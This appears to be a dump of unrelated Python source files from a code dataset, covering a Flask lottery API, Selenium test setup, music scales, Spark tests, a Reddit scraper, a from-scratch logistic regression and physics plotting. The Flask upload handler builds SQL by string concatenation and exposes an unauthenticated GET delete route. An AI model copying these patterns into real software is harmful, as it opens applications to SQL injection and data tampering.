file to data directory and updates database.\"\"\"\r\n db = get_db()\r\n cursor = db.cursor()\r\n\r\n # get file data\r\n xfile = flask.request.get_json()['file']\r\n data_url_idx = xfile.find(',')\r\n data_url = xfile[data_url_idx+1:]\r\n file_data = base64.b64decode(data_url)\r\n\r\n # add to /data\r\n cwd = os.getcwd()\r\n data_path = os.path.join(cwd, 'data/')\r\n # ascertain data directory exists first\r\n if not os.path.exists(data_path):\r\n os.mkdir(data_path)\r\n path = os.path.join(cwd, 'data/data.xlsx')\r\n # remove old data file\r\n if os.path.exists(path):\r\n os.remove(path)\r\n with open(path, 'wb') as f:\r\n f.write(file_data)\r\n\r\n # update database\r\n wb = xlrd.open_workbook(path)\r\n sheet = wb.sheet_by_index(0)\r\n year = \"\"\r\n month = \"\"\r\n\r\n for row in range(sheet.nrows):\r\n if sheet.cell_value(row, 0) != 'x':\r\n # first column\r\n date = sheet.cell_value(row, 0)\r\n if len(str(date)) == 6:\r\n year_month = date.split('-')\r\n year = year_month[0]\r\n month = year_month[1]\r\n else:\r\n month = str(date)\r\n # all other columns\r\n combination = []\r\n for col in range(1, sheet.ncols):\r\n combination.append(sheet.cell_value(row, col))\r\n comb_nums = conv_to_nums(combination)\r\n model_ranges = convert_to_ranges(comb_nums)\r\n model_str = convert_to_model(comb_nums)\r\n\r\n # insert into db\r\n cursor.execute(\"INSERT INTO combinations(year, date, val1, val2, val3, val4, val5, model, model_ranges)\" +\r\n \"VALUES ('\" + year + \"','\" + month + \"',\" + str(comb_nums[0]) +\r\n \",\" + str(comb_nums[1]) + \",\" + str(comb_nums[2]) +\r\n \",\" + str(comb_nums[3]) + \",\" + str(comb_nums[4]) +\r\n \",'\" + model_str + \"','\" + model_ranges + \"');\"\r\n )\r\n\r\n # ack\r\n context = {} \r\n return flask.jsonify(**context)\r\n\r\n@lotto.app.route('/delete/', methods=['GET','POST'])\r\ndef handle_delete():\r\n \"\"\" Delete most recent entry. \"\"\"\r\n db = get_db()\r\n cursor = db.cursor()\r\n cursor.execute(\"DELETE FROM combinations WHERE ID=(SELECT MAX(id) FROM combinations)\")\r\n context = {}\r\n return flask.jsonify(**context)","sub_path":"lotto/api/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":4625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"356238051","text":"####\n#### Setup gross testing environment.\n####\n#### This currently includes the UI instance target and browser type\n#### (FF vs PhantomJS).\n####\n\nimport os\nimport time\nfrom selenium import webdriver\n\n###\n### Simple (but somewhat excessive for the data parts) environment.\n###\n\n## Run this before anything else.\ndef before_all(context):\n ## Determine the server target. Default: http://beta.monarchinitiative.org.\n context.target = 'http://beta.monarchinitiative.org'\n if 'TARGET' in os.environ:\n context.target = os.environ['TARGET']\n if 'BROWSER' in os.environ and os.environ['BROWSER'] == 'phantomjs':\n context.browser = webdriver.PhantomJS()\n print(\"# Using PhantomJS\")\n else:\n context.browser = webdriver.Firefox()\n #\n # Set a 30 second implicit wait - http://selenium-python.readthedocs.org/en/latest/waits.html#implicit-waits\n # Once set, the implicit wait is set for the life of the WebDriver object instance.\n #\n context.browser.set_window_size(1440, 900)\n context.browser.implicitly_wait(30) # seconds\n\n## Do this after completing everything.\ndef after_all(context):\n context.browser.quit()\n\n# Run this before each scenario\n# This works around a problem where the maui_gene test works fine independently, but\n# seems to fail randomly when run after the last test in maui_basic.\n# def before_scenario(context, scenario):\n# time.sleep(1)\n\n\n###\n### Working on a more complex run environment for the future.\n###\n\n# ## Run this before anything else.\n# def before_all(context):\n# ## Determine the server target. Default: http://tartini.crbs.ucsd.edu.\n# context.target = 'http://tartini.crbs.ucsd.edu'\n# if 'TARGET' in os.environ:\n# context.target = os.environ['TARGET']\n\n# ## Run this before anything else.\n# def before_feature(context, feature):\n# ## Get the browser we're going to use. Default: firefox.\n# if 'ui' in feature.tags: # only spin up browser when doing ui work\n# if 'BROWSER' in os.environ and os.environ['BROWSER'] == 'phantomjs':\n# context.browser = webdriver.PhantomJS()\n# else:\n# context.browser = webdriver.Firefox()\n\n# ## Do this after completing every feature\n# def after_feature(context, feature):\n# if 'ui' in feature.tags: # only spin up browser when doing ui work\n# context.browser.quit()\n\n# ## Do this after completing everything.\n# def after_all(context):\n# pass\n","sub_path":"tests/behave/environment.py","file_name":"environment.py","file_ext":"py","file_size_in_byte":2446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"330619913","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nclass MelopyGenericError(Exception): pass\nclass MelopyValueError(ValueError): pass\n\nfrom utility import note_to_key, key_to_note\nfrom patternConstructor import *\n\ndef bReturn(output, Type):\n \"\"\"Returns a selected output assuming input is a list\"\"\"\n if isinstance(output, list):\n if Type.lower() == \"list\":\n return output\n elif Type.lower() == \"tuple\":\n return tuple([i for i in output])\n elif Type.lower() == \"dict\":\n O = {}\n for i in range(len(output)):\n O[i] = output[i]\n return O\n elif Type.lower() == \"string\":\n return ''.join(output)\n elif Type.lower() == \"stringspace\":\n return ' '.join(output)\n elif Type.lower() == \"delemiter\":\n return ','.join(output)\n else:\n raise MelopyGenericError(\"Unknown type: \" + Type)\n else:\n raise MelopyGenericError(\"Input to bReturn is not a list! Input: \" + str(output))\n\ndef iterate(start, pattern, rType=\"list\", octaves=True):\n \"\"\"Iterates over a pattern starting at a given note\"\"\"\n start_key = note_to_key(start)\n ret = [start_key]\n for step in pattern:\n ret.append(ret[-1] + step)\n\n for i, item in enumerate(ret):\n ret[i] = key_to_note(ret[i], octaves)\n\n return bReturn(ret, rType)\n\ndef major_scale(start, rType=\"list\"):\n \"\"\"generates a major scale in any key using correct spelling - build major scale pattern\"\"\"\n major_pattern = [0,2,2,1,2,2,2]\n \n \"\"\"start by generating a scale of all natural notes starting at our start note\"\"\"\n natural_scale = get_base_pattern(start, [0,1,2,3,4,5,6])\n\n \"\"\"use pattern builder to assign the correct sharps and flats based on the step pattern and note pattern\"\"\"\n return build_pattern(start, natural_scale, major_pattern)\n\ndef minor_scale(start, rType=\"list\"): #Natural minor\n \"\"\"Generates a minor scale in any key using correct spelling - build minor scale pattern\"\"\"\n minor_pattern = [0,2,1,2,2,1,2]\n\n \"\"\"start by generating a scale of all natual notes starting at our start note\"\"\"\n natural_scale = get_base_pattern(start, [0,1,2,3,4,5,6])\n\n \"\"\"use pattern builder to assign the correct sharps and flats based on the step pattern and note pattern\"\"\"\n return build_pattern(start, natural_scale, minor_pattern)\n\ndef melodic_minor_scale(start, rType=\"list\"):\n \"\"\"Generates a melodic minor scale in any key with correct spelling\"\"\"\n melodic_pattern = [0,2,1,2,2,2,2]\n\n \"\"\"start by generating a scale of all natural notes starting at our start note\"\"\"\n natural_scale = get_base_pattern(start, [0,1,2,3,4,5,6])\n\n \"\"\"use pattern builder to assign the correct sharps and flats based on step pattern and note pattern\"\"\"\n return build_pattern(start, natural_scale, melodic_pattern)\n\ndef harmonic_minor_scale(start, rType=\"list\"):\n \"\"\"Generates a harmonic minor scale in any key with correct spelling\"\"\"\n harmonic_pattern = [0,2,1,2,2,1,3]\n\n \"\"\"start by generating a scale of all natural notes starting at our start note\"\"\"\n natural_scale = get_base_pattern(start, [0,1,2,3,4,5,6])\n\n \"\"\"use pattern builder to assign the correct sharps and flats based on step pattern and note pattern\"\"\"\n return build_pattern(start, natural_scale, harmonic_pattern)\n\ndef chromatic_scale(start, rType=\"list\"):\n \"\"\"Generates a chromatic scale using the pattern [1,1,1,1,1,1,1,1,1,1,1] (Returns: List)\"\"\"\n chromatic_steps = [1,1,1,1,1,1,1,1,1,1,1]\n return iterate(start, chromatic_steps, rType)\n\ndef major_pentatonic_scale(start, rType=\"list\"):\n \"\"\"Generates a major pentatonic scale in any key with correct spelling\"\"\"\n pent_pattern = [0,2,2,3,2]\n\n \"\"\"start by generating a scale of all natural notes starting at our start note\"\"\"\n natural_scale = get_base_pattern(start, [0,1,2,4,5])\n\n \"\"\"use pattern builder to assign the correct sharps and flats based on th step pattern and note pattern\"\"\"\n return build_pattern(start, natural_scale, pent_pattern)\n\ndef minor_pentatonic_scale(start, rType=\"list\"):\n \"\"\"Generates a minor pentatonic scale in any key with correct spelling\"\"\"\n pent_pattern = [0,3,2,2,3]\n\n \"\"\"start by generating a scale of all natural notes starting at our start note\"\"\"\n natural_scale = get_base_pattern(start, [0,2,3,4,6])\n\n \"\"\"use pattern builder to assign the correct sharps and flats based on the step pattern and note pattern\"\"\"\n return build_pattern(start, natural_scale, pent_pattern)\n\ndef major_triad(start):\n \"\"\"generates a major triad in any key using correct spelling\"\"\"\n major_pattern = [0,4,3]\n\n \"\"\"start by generating a triad of natural notes from our starting note\"\"\"\n natural_triad = get_base_pattern(start, [0,2,4])\n\n \"\"\"use pattern builder to assign the correct sharps and flats based on the step pattern and note pattern\"\"\"\n return build_pattern(start, natural_triad, major_pattern)\n\ndef minor_triad(start):\n \"\"\"generates a minor triad in any key with correct spelling\"\"\"\n minor_pattern = [0,3,4]\n\n \"\"\"start by generating a triad of natural notes from our start note\"\"\"\n natural_triad = get_base_pattern(start, [0,2,4])\n\n \"\"\"use pattern builder to assign the correct sharps and flats based on the step pattern and note pattern\"\"\"\n return build_pattern(start, natural_triad, minor_pattern)\n\ndef diminished_triad(start):\n \"\"\"generates a diminished triad in any key with correct spelling\"\"\"\n diminished_pattern = [0,3,3]\n\n \"\"\"start by generating a triad of natural notes from our start note\"\"\"\n natural_triad = get_base_pattern(start, [0,2,4])\n\n \"\"\"use pattern builder to assign the correct sharps and flats based on the step pattern and note pattern\"\"\"\n return build_pattern(start, natural_triad, diminished_pattern)\n\ndef augmented_triad(start):\n \"\"\"generates an augmented triad in any key with correct spelling\"\"\"\n augmented_pattern = [0,4,4]\n\n \"\"\"start by generating a triad of natural notes from our start note\"\"\"\n natural_triad = get_base_pattern(start, [0,2,4])\n\n \"\"\"use pattern builder to assign the correct sharps and flats based on the step pattern and note pattern\"\"\"\n return build_pattern(start, natural_triad, augmented_pattern)\n\ndef get_diatonic_interval(note, note_set, basic_interval):\n i = 0\n\n if len(note) == 1: note += '5'\n \n for pitch in note_set:\n if pitch[0:len(pitch)-1] == note[0:len(note)-1]:\n if i + basic_interval -1 < 8:\n return note_set[i + basic_interval - 1]\n else:\n return note_set[i + basic_interval - 8]\n i = i + 1\n\ndef generateScale(scale, note, rType=\"list\"): #scale, start, type\n \"\"\"\n Generate a scale\n scale (string): major, minor, melodic_minor, harmonic_minor, chromatic, major_pentatonic\n note: start note\n \"\"\"\n scales = {\n \"major\":major_scale,\n \"minor\":minor_scale,\n \"melodic_minor\":melodic_minor_scale,\n \"harmonic_minor\":harmonic_minor_scale,\n \"chromatic\":chromatic_scale,\n \"major_pentatonic\":major_pentatonic_scale,\n \"minor_pentatonic\":minor_pentatonic_scale\n }\n\n if scale in scales:\n return scales[scale](note, rType) #Places each individual argument into function call\n else:\n raise MelopyGenericError(\"Unknown scale type:\"+str(scale))\n\n# Licensed under The MIT License (MIT)\n# See LICENSE file for more\n","sub_path":"melopy/scales.py","file_name":"scales.py","file_ext":"py","file_size_in_byte":7456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"485621918","text":"# THIS TMP FILE IS FOR AWS-S3\n\nimport time\nfrom cerebralcortex.cerebralcortex import CerebralCortex\nfrom cerebralcortex.core.util.spark_helper import get_or_create_sc\nimport uuid\n\ncc_config = \"/home/hadoop/cc_aws_config.yml\"\nCC = CerebralCortex(cc_config)\nspark_context = get_or_create_sc(type=\"sparkContext\")\n\ndef example_method(user_id, cc_config):\n CC = CerebralCortex(cc_config)\n user_name = CC.get_user_name(user_id)\n print(\"User ID:\", user_id, \"User Name:\", user_name)\n time.sleep(1)\n\ndef run_spark_job():\n study_name = \"mperf\"\n all_users = CC.get_all_users(study_name)\n\n if all_users:\n rdd = spark_context.parallelize(all_users)\n rdd = rdd.repartition(200)\n results = rdd.map(\n lambda user: example_method(user[\"identifier\"], cc_config))\n results.count()\n else:\n print(study_name, \"- study has 0 users.\")\n\ndef aws_s3_read_write():\n ds = CC.get_stream(\"21bc8ead-130c-3e16-8054-3f02c5343f86\",\"00ab666c-afb8-476e-9872-6472b4e66b68\",\"20180123\")\n print(ds.data[:5])\n\n ds._identifier = str(uuid.UUID('{00000000-5087-3d56-ad0e-0b27c3c83182}'))\n ds._owner = str(uuid.UUID('{00000000-f81c-44d2-9db8-fea69f468d58}'))\n CC.save_stream(ds)\n\n# test spark\n#run_spark_job()\n\n# test read/write aws-s3\naws_s3_read_write()\n\n","sub_path":"cerebralcortex/core/test_suite/spark_test.py","file_name":"spark_test.py","file_ext":"py","file_size_in_byte":1297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"579084058","text":"import shelve\nfrom OOP.person import Person\nfrom OOP.manager import Manager\n\ndbfilename = '../dbs/shelve-class.shlv'\n\nif __name__ == '__main__':\n bob = Person('Bob Smith', 42, 30000, 'dev')\n sue = Person('Sue Jones', 45, 40000, 'hdw')\n tom = Manager('Tom', 50, 50000)\n\n db = shelve.open(dbfilename)\n db['bob'] = bob\n db['sue'] = sue\n db['tom'] = tom\n db.close()\n","sub_path":"OOP/make_db_classes.py","file_name":"make_db_classes.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"447366010","text":"import csv\r\nimport math\r\nimport random\r\n\r\ndef load_data(filename):\r\n dataset = []\r\n \r\n with open(filename,'r') as file:\r\n reader = csv.reader(file)\r\n \r\n for row in reader:\r\n dataset.append(row)\r\n \r\n return dataset\r\n\r\ndef str_to_float(dataset):\r\n \r\n for row in range(len(dataset)):\r\n for col in range(len(dataset[0])):\r\n dataset[row][col] = float(dataset[row][col].strip())\r\n\r\ndef minmax_data(dataset):\r\n minmax = []\r\n \r\n for i in range(len(dataset[0])):\r\n col_values = [row[i] for row in dataset]\r\n min_value = min(col_values)\r\n max_value = max(col_values)\r\n minmax.append([min_value, max_value])\r\n \r\n return minmax\r\n\r\ndef normalize_data(dataset, minmax):\r\n numer = 0\r\n denom = 0\r\n \r\n for row in dataset:\r\n for i in range(len(row)):\r\n numer = row[i] - minmax[i][0]\r\n denom = minmax[i][1] - minmax[i][0]\r\n row[i] = numer/denom\r\n\r\ndef cross_validation(dataset, n_folds):\r\n dataset_split = []\r\n dataset_copy = list(dataset)\r\n fold_size = int(len(dataset) / n_folds)\r\n for i in range(n_folds):\r\n fold = []\r\n while len(fold) < fold_size:\r\n index = random.randrange(len(dataset_copy))\r\n fold.append(dataset_copy.pop(index))\r\n dataset_split.append(fold)\r\n \r\n return dataset_split\r\n\r\ndef accuracy_score(actual,predicted):\r\n correct = 0\r\n for i in range(len(predicted)):\r\n if actual[i] == predicted[i]:\r\n correct += 1\r\n return correct / len(actual) * 100\r\n\r\ndef predict(row, coef):\r\n yhat = coef[0]\r\n for i in range(len(row) - 1):\r\n yhat += coef[i + 1] * row[i]\r\n return 1 / (1 + math.exp(-yhat))\r\n\r\ndef evaluate_alogorithm(dataset,algorithm,n_folds,learning_rate,epoch,*args):\r\n scores = []\r\n folds = cross_validation(dataset,n_folds)\r\n for fold in folds:\r\n train = list(folds)\r\n train.remove(fold)\r\n train = sum(train, [])\r\n test = []\r\n for row in fold:\r\n row_copy = list(row)\r\n test.append(row_copy)\r\n row_copy[-1] = None\r\n prediction = algorithm(train,test,learning_rate,epoch)\r\n actual = [row[-1] for row in fold]\r\n score = accuracy_score(actual, prediction)\r\n scores.append(score)\r\n return scores\r\n \r\n\r\ndef sgd_logistic(dataset, nb_epochs, learning_rate):\r\n coef = [0 for i in range(len(dataset))]\r\n for epoch in range(nb_epochs):\r\n for row in dataset:\r\n ycap = predict(row, coef)\r\n error = row[-1] - ycap\r\n coef[0] = coef[0] + learning_rate * error * (1 - ycap)\r\n for i in range(len(row) - 1):\r\n coef[i+1] = coef[i+1] + learning_rate * error * (1 - ycap) * row[i]\r\n print(\"Epoch :\",epoch,\"Prediction :\",error)\r\n return coef\r\n \r\n\r\ndef logistic_regression(train,test,learning_rate,epoch):\r\n predictions = []\r\n coef = sgd_logistic(train,epoch,learning_rate)\r\n for row in test:\r\n pred = predict(row,coef)\r\n pred = round(pred)\r\n predictions.append(pred)\r\n return predictions\r\n\r\nfilename = 'pima-indians-diabetes.data.csv'\r\ndataset = load_data(filename)\r\nstr_to_float(dataset)\r\nminmax = minmax_data(dataset)\r\nnormalize_data(dataset, minmax)\r\n\r\n#c = cross_validation(dataset, 5)\r\ne = cross_validation(dataset, 5)\r\n#coef = sgd_logistic(dataset,100,0.01)\r\n\r\nn_folds = 5\r\nlearning_rate = 0.01\r\nepoch = 10000\r\nscores = evaluate_alogorithm(dataset,logistic_regression,n_folds,learning_rate,epoch)\r\nmean_accuracy = sum(scores) / len(scores)\r\nprint(\"Accuracy :\",mean_accuracy)","sub_path":"MachineLearning/Section_2/LogisticPart_2.py","file_name":"LogisticPart_2.py","file_ext":"py","file_size_in_byte":3659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"409091268","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom bias_functions import *\nfrom matplotlib import ticker\nfrom colorplt import *\n\nparams = {'figure.figsize': (6, 8),\n\t\t 'font.size': 22,\n\t\t 'axes.labelsize': 26,\n\t\t 'xtick.labelsize': 22,\n\t\t 'xtick.major.pad': 8,\n\t\t 'ytick.labelsize': 22,\n\t\t 'legend.fontsize': 22,\n\t\t 'legend.handlelength': 1.,\n\t\t 'legend.borderpad': 0.1,\n\t\t 'figure.subplot.left': 0.19,\n\t\t 'figure.subplot.bottom': 0.11,\n\t\t 'figure.subplot.right': 0.995,\n\t\t 'figure.subplot.top':0.995,\n\t\t\t\t }\n\n\nplt.rcParams.update(params)\n\nz = sys.argv[1]\n\na_outs = np.array([0.5,0.7, 0.8, 0.9, 1.0])\nz_outs = 1./a_outs - 1.\nthis_z = \"%.2f\" % np.round(z_outs[int(z)-1], decimals=2)\n\nMmin = 2.e13\nMmax = 3.e15\nNM = 5000\n\ngrowth_file = '../input/growth_p.dat'\ndm_out = np.loadtxt(growth_file, usecols=(8,))\ndm = dm_out[int(z)]\nNsim = 50.\n\nnM = np.loadtxt('../results/n_halo_list_z'+this_z+'.dat', usecols=(0), unpack=True)\npM = np.loadtxt('../results/p_halo_list_z'+this_z+'.dat', usecols=(0), unpack=True)\nnM = nM[nM>1.e13]\npM = pM[pM>1.e13]\nnM = -np.sort(-nM)\npM = -np.sort(-pM)\n\nMlen = min(len(nM), len(pM))\nnM = nM[:Mlen]\npM = pM[:Mlen]\n\nMdat = np.exp(np.log((pM*nM))/2.) \nndat = np.exp(np.log( ( np.arange(Mlen) + 1./2.)/(700.)**3/Nsim ))\nsdat = np.log(pM/nM)/2./dm \n\n#sNintknots = 4\n#sDelta = (np.log(Mmax/Mmin))/(sNintknots-1.)\n#sknots = [ np.log(Mmin) + i*sDelta for i in range(sNintknots) ]\n\n#nNintknots = 10\n#nDelta = (np.log(Mmax/Mmin))/(nNintknots-1.)\n#nknots = [ np.log(Mmin) + i*nDelta for i in range(nNintknots) ]\n\n#sfunc = LSQUnivariateSpline(np.log(Mdat[::-1]), sdat[::-1], sknots)\n#lognfunc = LSQUnivariateSpline(np.log(Mdat[::-1]), np.log(ndat[::-1]), nknots )\n#dlognfunc = lognfunc.derivative(1)\n\n# Interpolated output\n#LogMout = np.linspace(np.log(Mmin), np.log(Mmax), NM)\n#bout = -sfunc(LogMout)*dlognfunc(LogMout)\n#sout = sfunc(LogMout)\n#nout = np.exp(lognfunc(LogMout))\n\nfig, (ax1, ax2, ax3) = plt.subplots(3,1)\n\n# From void catalogs\nax1.loglog(Mdat[::10], ndat[::10], color=clrs[1] ,ls='none', marker='.', ms=4, zorder=1, label=r'$\\rm{simulation\\ data}$')\nax2.semilogx(Mdat[::10], sdat[::10], color=clrs[1] ,ls='none', marker='.', ms=4, zorder=1)\n\n# Spline fits\n#ax1.loglog(np.exp(LogMout), nout)\n#ax2.semilogx(np.exp(LogMout),sout)\n#ax3.semilogx(np.exp(LogMout), bout)\nbsfile = '../results/bs_halos_z'+this_z+'.dat'\nbsdat = np.loadtxt(bsfile)\n#bsdat[:,2] = bsdat[:,2]/bsdat[:,1] \n#bsdat[:,1] = 1.\nax1.loglog(bsdat[:,0], bsdat[:,5], color=clrs[0], lw=2, label=r'$\\rm{spline\\ fit}$', zorder=2)\nax1.fill_between(bsdat[:,0], bsdat[:,5] - bsdat[:,6], bsdat[:,5] + bsdat[:,6], color=clrs[0], alpha=0.4)\nax2.semilogx(bsdat[:,0], bsdat[:,3], lw=2, color=clrs[0], zorder=2)\nax2.fill_between(bsdat[:,0], bsdat[:,3] - bsdat[:,4], bsdat[:,3] + bsdat[:,4], color=clrs[0], alpha=0.4 )\nax3.semilogx(bsdat[:,0], bsdat[:,1], color=clrs[0], lw=2, label=r'$b^{\\!{}^L}_s, \\rm{spline}$', zorder=2)\nax3.fill_between(bsdat[:,0], (bsdat[:,1] - bsdat[:,2]), (bsdat[:,1] + bsdat[:,2]), color=clrs[0], alpha=0.4)\n\n# Histograms\nbhfile = '../results/bh_halos_z'+this_z+'.dat'\nbhdat = np.loadtxt(bhfile)\nax3.errorbar(bhdat[:,0], bhdat[:,1], yerr=bhdat[:,2], color='red', ls='none', marker='x', ms=4, label=r'$b^{\\!{}^L}_h, \\rm{histogram}$')\n\n# Clustering\nPmhk_dat = np.array(np.genfromtxt('../results/gPmhk_z'+this_z+'.dat', missing_values=['*'], unpack=True))\nM = Pmhk_dat[~np.isnan(Pmhk_dat[:,0]),0]\nk = Pmhk_dat[0,~np.isnan(Pmhk_dat[0,:])]\nPmm = Pmhk_dat[1,~np.isnan(Pmhk_dat[1,:])]\ndPmm = Pmhk_dat[2,~np.isnan(Pmhk_dat[2,:])]\nPmh = Pmhk_dat[3::2,1:-1]\ndPmh = Pmhk_dat[4::2,1:-1]\nbc = Pmhk_dat[3::2,-1]\ndbc = Pmhk_dat[4::2,-1]\n\nbc = bc[M bc[i-1]) ])\ndbc = np.array([float(dbc[i]) for i in range(len(bc)) if ( i == 0 ) or (bc[i] > bc[i-1]) ]) #/interp1d(bsdat[:,0], bsdat[:,1])(M)\nbc = np.array([float(bc[i]) for i in range(len(bc)) if ( i == 0 ) or (bc[i] > bc[i-1]) ]) #/interp1d(bsdat[:,0], bsdat[:,1])(M)\nax3.errorbar(M, bc, yerr=dbc, color='blue', ls='none', marker='s', ms=4, label=r'$b^{\\!{}^L}_c\\!, \\rm{clustering}$')\n\nplt.subplots_adjust(hspace=0)\n\nax3.set_xlabel('$\\mathrm{Mass}\\ \\ [\\mathrm{M_\\odot}/h]$')\n\nax1.set_ylabel('$n\\ \\ [(h/\\mathrm{Mpc})^3]$')\nax2.set_ylabel('$s$')\nax3.set_ylabel('$b^{\\!{}^L}$')\n\nax1.legend(loc=3)\nax3.legend()\n\nax1.text(0.75, 0.8, '$z='+this_z+'$',transform=ax1.transAxes)\n\nax1.set_xlim([M[0], M[-1]])\nax2.set_xlim([M[0], M[-1]])\nax3.set_xlim([M[0], M[-1]])\n\nax1.set_ylim([3.5e-9, 3.5e-4])\nax2.set_ylim([0.38, 2.19])\nax3.set_ylim([0.87, 8.2])\n\nax1.xaxis.set_major_formatter(plt.NullFormatter())\nax2.xaxis.set_major_formatter(plt.NullFormatter())\nax3.xaxis.set_major_locator(ticker.LogLocator(base = 10.0))\n#ax2.yaxis.set_major_locator(plt.MultipleLocator(10))\n#ax3.yaxis.set_major_locator(plt.MultipleLocator(10))\n\n#plt.show()\nfig.savefig('../figs/halo_bias_spline_histogram_cluster_z'+this_z+'.png', fmt='png', dpi=1000)\n\n\nexit()\n","sub_path":"scripts/plot_halo_bias_splines.py","file_name":"plot_halo_bias_splines.py","file_ext":"py","file_size_in_byte":5020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"101991866","text":"import json\nimport time\nimport csv\nimport requests\n\nimport pandas as pd\n\ndef get_data(mode, args, fields):\n url = f'http://api.pushshift.io/reddit/{mode}/search/{args}&fields={\",\".join(fields)}&size=100'\n try:\n r = requests.get(url)\n status = r.status_code\n except Exception as e:\n #print(f'{e} on {proxy[\"http\"]}')\n status = -1\n if status != 200:\n print(f'Error {status}')\n time.sleep(0.5)\n return get_data(mode, args, fields)\n \n #print(f'Fetched data from \"{url}\" on \"{proxy[\"http\"]}\"')\n data = json.loads(r.text)\n return data['data']\n\ndef get_submissions(subreddit, after, before):\n after, before = str(after), str(before)\n args = f'?after={after}&before={before}&subreddit={subreddit}' + \\\n f'&sort=asc&sort_type=created_utc'\n fields = ['id', 'created_utc', 'title', 'selftext', 'author', 'num_comments', 'score']\n \n return get_data('submission', args, fields)\n\ndef scrape_submission(submission_data):\n submission_id = submission_data.get('id')\n timestamp = submission_data.get('created_utc')\n title = submission_data.get('title')\n body = submission_data.get('selftext')\n author = submission_data.get('author')\n num_comments = submission_data.get('num_comments')\n score = submission_data.get('score')\n yta_score, nta_score = 0, 0\n\n data = [submission_id, timestamp, title, body, author, score, num_comments, yta_score, nta_score]\n\n return data\n\ndef scrape_submissions(subreddit, after, before):\n print(f'Scraping submissions of r/{subreddit} from {after} to {before}')\n\n f_out = open(f'0_submission_data_{after}_{before}.csv', 'w', newline='', encoding='utf-8') \n writer = csv.writer(f_out, quoting=csv.QUOTE_ALL)\n header = ['id', 'timestamp', 'title', 'body', 'author', 'score', 'num_comments', 'yta_score', 'nta_score']\n writer.writerow(header)\n\n scraped_submissions = list()\n\n while after < before:\n submissions = get_submissions('amitheasshole', after, before)\n if not submissions:\n break\n\n for submission in submissions:\n scraped_submission = scrape_submission(submission)\n scraped_submissions.append(scraped_submission)\n\n after = submissions[-1]['created_utc']\n\n print(f'{len(scraped_submissions)} posts scraped')\n \n print(f'Done scraping submissions of r/{subreddit} from {after} to {before}')\n writer.writerows(scraped_submissions)\n f_out.close()\n\ndef main():\n start_epoch = 1546300800 # January 1, 2019\n end_epoch = 1577836800 # January 1, 2020\n\n scrape_submissions('amitheasshole', start_epoch, end_epoch)\n\n print('Done')\n\nif __name__ == '__main__':\n main()","sub_path":"dataset/0_submission_scraper.py","file_name":"0_submission_scraper.py","file_ext":"py","file_size_in_byte":2716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"620049772","text":"import os\nfrom docker import APIClient\n\n\n# Flask settings\nFLASK_DEBUG = True # Do not use debug mode in production\nFLASK_THREADED = True\n\n# Flask-Restplus settings\nRESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list'\nRESTPLUS_VALIDATE = True\nRESTPLUS_MASK_SWAGGER = False\nRESTPLUS_ERROR_404_HELP = False\n\n# SWARM\nSWARM_CLIENT = APIClient(base_url=os.getenv('SWARM'), version='1.22')\n","sub_path":"docker_proxy/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"195311791","text":"# Linear separability in Fourier transforms\n\n# A simple example of linear separability in the Fourier transform. \n\nimport numpy as np\n\ngrid_original = [[1,0,2,1],\n [2,1,2,3],\n [3,0,1,2],\n [2,1,2,3]]\n\nsubgrid_1 = [[1,0,1,1],\n [1,1,1,1],\n [1,0,1,1],\n [1,1,1,1]]\n\nsubgrid_2 = [[0,0,1,0],\n [1,0,1,1],\n [1,0,0,1],\n [1,0,1,1]]\n\nsubgrid_3 = [[0,0,0,0],\n [0,0,0,1],\n [1,0,0,0],\n [0,0,0,1]]\n\nft_grid_original = np.fft.fftshift(np.fft.fft2(grid_original))\n\nft_subgrid1 = np.fft.fftshift(np.fft.fft2(subgrid_1))\n\nft_subgrid2 = np.fft.fftshift(np.fft.fft2(subgrid_2))\n\nft_subgrid3 = np.fft.fftshift(np.fft.fft2(subgrid_3))\n\nft_linear_recombination = ft_subgrid1 + ft_subgrid2 + ft_subgrid3\n\nprint(\"Fourier transform of original grid: \\n\" + str(ft_grid_original))\n\nprint(\"Reconstructed transform from linear recombination: \\n\" + str(ft_linear_recombination))","sub_path":"linearsep.py","file_name":"linearsep.py","file_ext":"py","file_size_in_byte":989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"625399807","text":"from typing import Tuple\r\n\r\nimport pytest\r\n\r\nfrom mat_dp_core import (\r\n EqConstraint,\r\n LeConstraint,\r\n Processes,\r\n ResourceConstraint,\r\n Resources,\r\n)\r\n\r\n\r\n@pytest.mark.asyncio\r\nclass TestConstraintErrors:\r\n async def test_resource_constraint_invalid_demand(\r\n self, pizza_example: Tuple[Resources, Processes]\r\n ):\r\n resources, processes = pizza_example\r\n try:\r\n ResourceConstraint(\r\n resources[\"cardboard\"], processes[\"energy_grid\"], 16\r\n )\r\n except ValueError as e:\r\n assert (\r\n str(e)\r\n == \"Invalid demand: cardboard demanded from energy_grid but process does not produce or consume this\"\r\n )\r\n\r\n async def test_resource_constraint_invalid_demand_pre_res_definition(\r\n self, pizza_example: Tuple[Resources, Processes]\r\n ):\r\n resources, processes = pizza_example\r\n try:\r\n ResourceConstraint(\r\n resources[\"energy\"], processes[\"cardboard_producer\"], 16\r\n )\r\n except ValueError as e:\r\n assert (\r\n str(e)\r\n == \"Invalid demand: energy demanded from cardboard_producer but process does not produce or consume this\"\r\n )\r\n\r\n\r\n@pytest.mark.asyncio\r\nclass TestConstraints:\r\n async def 